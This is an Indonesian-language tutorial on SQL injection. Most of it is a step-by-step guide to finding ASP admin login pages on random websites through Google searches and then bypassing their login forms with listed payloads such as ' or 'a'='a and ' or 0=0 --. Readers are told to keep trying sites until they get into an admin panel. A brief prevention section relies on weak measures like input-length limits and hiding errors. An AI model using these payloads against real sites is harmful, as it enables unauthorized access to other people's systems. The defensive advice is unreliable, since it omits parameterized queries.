SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang. Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{bisa tambahi sendiri sesuai keinginan kamu}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan kamu akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan kamu akan masuk ke admin panel, di mana kamu bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga kamu bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
- Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang. - Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
- Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
- Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
- Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.
Hacker merupakan julukan yang diberikan kepada seseorang yang mampu menyusup ke jaringan suatu komputer tanpa diketahui. Semakin aman suatu sistem jaringan komputer maka sang hacker akan semakin tertantang untuk menembus celah keamanan pada jaringan komputer tersebut. Pada dasarnya seorang hacker hanya mempunyai keinginan untuk menembus celah keamanan jaringan komputer tanpa bermaksud merusak ataupun menghapus data dari jaringan tersebut. Bahkan dalam komunitas hacker ada kode-kode etik yang harus diambil sebagai pegangan seperti :
- Dilarang untuk menghapus / merusak apapun dalam sistem jaringan tersebut.
- Bila selesai masuk ke jaringan harus mengembalikan sesuatu seperti semula.
- Memberitahukan ke sang admin bahwa sistem jaringan telah berhasil ditembus dan bahkan ada yang memberi petunjuk ke admin mana saja celah yang dapat ditembus oleh sang hacker.
Sebelum istilah cracker diperkenalkan, sebenarnya ada 2 julukan yakni hacker putih dan hacker hitam. Cracker mirip sekali dengan hacker tetapi biasanya tujuan dari seorang cracker adalah negatif seperti merusak jaringan, mencuri data, mengcrack program,dsb.